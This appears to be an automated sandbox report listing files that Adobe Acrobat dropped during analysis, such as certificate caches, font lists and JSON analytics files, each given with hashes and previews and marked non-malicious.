Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkleOL/tfllXlE/HT8khz/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKHaeT8OzVNMa8RdWBwRd
MD5:	28B0C0DCC8D6236D815008E5A7685B7B
SHA1:	F6DB9E406BABB967BAAB92CAE64EACD68CFA5C26
SHA-256:	C057A80562567571639577AE77785D39FC54B38FA37D15194DD1F4F2AB183103
SHA-512:	F85862FD661DB3D4A92C77B294A09A61447D190450F4A5B646407E02BF918FA6DC28F9478447DFFAA77468AE4115D5EAB011CD8EBAB49F8F5D69E82764CB19BA
Malicious:	false
Preview:	p...... ..........s.c..(....................................................... ..........W....j...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.133081597444441
Encrypted:	false
SSDEEP:	6:kK9tL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:niDnLNkPlE99SNxAhUe/3
MD5:	E24EE73ED92DF0325F18505845FE113B
SHA1:	B3850A7DA584855E1B6D9D2E6718C9A1968E235F
SHA-256:	8D37F5318B3D5EE8BB6D6EB8B2949BD1764F1FAB0B707B8C16908277FA79740C
SHA-512:	BC891B7D4A631D9911CB91151CB13D1A7F0ED0B86548CF9C7DF354B41FA2D3C5EF0A8EFE57ED21AA7B182E8700B8F0B66819CF7BF62C1AACEC224E6D5CC19776
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3796

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3796

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346719069400297
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJM3g98kUwPeUkwRe9:YvXKXhp3WrvR/ZwHAYGMbLUkee9
MD5:	A286E2F10B32623A9D239F5DD73B40DA
SHA1:	790EFDBA80901268FEFC6A8ED24749E1D39E0D0B
SHA-256:	DAA0C396F5C52D12D101D674D99AC93E67FD69BD69490B2EC384CF83159AEE1D
SHA-512:	F3B874518C5DC3286506D7A88C6A23B5AC978B9320A1D16C1B7189DAC6586D62BB65726D954CBD42556342D0B90E856243313B98846E77ED94D4808B5AFBCBBE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.281179702829252
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJfBoTfXpnrPeUkwRe9:YvXKXhp3WrvR/ZwHAYGWTfXcUkee9
MD5:	D9C272E9515BEA77925CF36430D70B10
SHA1:	8BEA5F1265DFF3095DA649F5B988F9A1BA1770AB
SHA-256:	7DCDA54A7CE884C8717472E2BD2D3CF0F20A4F042C3DA2C8C8543D7A99B6CAEB
SHA-512:	64ED7B93E11C5886A8F28E69FDCA66FA5422C8DA039EF45771C8DE036AF18B7F67A99EADA90D4FD746CD0B216E04E856DE39C5A27DB471EC337149A4FCAA5685
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.259029796406322
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJfBD2G6UpnrPeUkwRe9:YvXKXhp3WrvR/ZwHAYGR22cUkee9
MD5:	586F492A755BE002059A8969021951D5
SHA1:	1EA7AD5909816A5BBC070CE8AB693E4E869FF452
SHA-256:	217C53271D0C4A8BA2B845697E44C7C3E7979475DC069EE55C704B3773262CE0
SHA-512:	0CC68F5952E007CD36C2E86C7AA2A2E0C2F7F8BB13C1E459DFAB85D3BA2BE1E987C80DEBB9CA88978317FF6F26DE919B7D5D42A6DC99581D18EA78C4F2EAB91F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.323083604825702
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJfPmwrPeUkwRe9:YvXKXhp3WrvR/ZwHAYGH56Ukee9
MD5:	BAC3B74982CD8DECFCECF53295F8606B
SHA1:	1D3966BE815F71655C6B18D2928C7A88923CFBCA
SHA-256:	7E987DE0C551AC462809FCCCDD7E51DDA2609B84DB5E9B776BC16063A71A4B67
SHA-512:	A3BC12C03CDBB4EEBEA48B21FEC211D8D11FFB83C7FAF995844E3F069A7E69EE9248DEDA3DF0358EFC6D60C1701177112B1DFC36FB2046397B8132FBD9FDB103
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686757222904837
Encrypted:	false
SSDEEP:	24:Yv6XyrJhBpLgE9cQx8LennAvzBvkn0RCmK8czOCCSXS:Yv9JhBhgy6SAFv5Ah8cv/C
MD5:	B0C0FEA78FD0C88875E0CB5ABB14B865
SHA1:	2AAD4961773DC010CEDAE9D4F12EB721F7EA60A8
SHA-256:	559CBCE2FB05BF99F2892D0A9510A2137641EC8A77DF0E1B45CD5DD1CFAA7266
SHA-512:	9074FC94139D72B2316532E87ECE9647502BE5933BB1313A86D77BB65DEF0161DD7E46EA342CAE4B27CE8B76D8B2A36B04B8B31D021BB7EE7268D9D0C1258B8E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269595976322736
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJf8dPeUkwRe9:YvXKXhp3WrvR/ZwHAYGU8Ukee9
MD5:	12C6B760B8F062E9AF7F6A507BBEBB1E
SHA1:	19FB3AC2028701F6982E2A4E9C3CEF996AA841C2
SHA-256:	28DDFCF2CF373E6C80943A286DCFC88D9CC7470F1AE1DEAFCA13556213C02AF9
SHA-512:	87B9B26477B22F78281E84B35CFF790309D44F0F5400089E656306DDB034F0F0E57885B6AFA2169D8A45EC79B6894B263D5F6981D5B6388F91FC6664A5FA8654
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.26887811346589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJfQ1rPeUkwRe9:YvXKXhp3WrvR/ZwHAYGY16Ukee9
MD5:	E75131E07A4547FBDAB6F55CA235B75E
SHA1:	12CC9BD102647680AC51BB710EE67991B738813F
SHA-256:	712411910179D6DFB5F65E38FB5E066CAE0917CF10EA5A728620CCE11FF60480
SHA-512:	614EF5787B6D3A8BFEA319804C5E73C63AC3831088D94D01BA211DFA57AB023504BE18F1F21F0B58692596F1DC77021EAA70BE00A6E72FCA1CCCFAD0938D8441
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283682100902873
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJfFldPeUkwRe9:YvXKXhp3WrvR/ZwHAYGz8Ukee9
MD5:	A06097B00C6B78DDE8E79A1A36B774D6
SHA1:	1AA378C7897732636DAACC4C750FCDB211458621
SHA-256:	46D57DF99AF8390021A93CF52C9814457E6AA0F591568309293EBB719D91D883
SHA-512:	374C52EC2B7E48CA507202CB6B16A8D3DF65F2F4863673194F5AA73C115E22E26F709BFD8A163260E3E2D474137B79A981E6DD0FAE25626802EE69973F123418
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.298695228954288
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJfzdPeUkwRe9:YvXKXhp3WrvR/ZwHAYGb8Ukee9
MD5:	14950E44B6F72CD8B048B80240A45F6C
SHA1:	77C98D802AF27DF98BF3F51D996E8189899421D6
SHA-256:	723949B0FCCE50AB58A574D29D2D2C7F430290DA0E2F8099896C50B13340C964
SHA-512:	A883A1E1E241A82741D197F69E4399A492E39E45BA60983191F549FBB8C87A3C6F332E06D066DDCB309B2AFE417F6CDDAB43533C8CD63D4387923D0508032B0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279187347689826
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJfYdPeUkwRe9:YvXKXhp3WrvR/ZwHAYGg8Ukee9
MD5:	F1A169C31F818810AB0D69B25EACC326
SHA1:	FD894B4FAD18D5416532C61D434E12F743238095
SHA-256:	3892D8981F7C02B970E7941710D8D5A0FD7E6610BD00EE80C485C05CE1A8B948
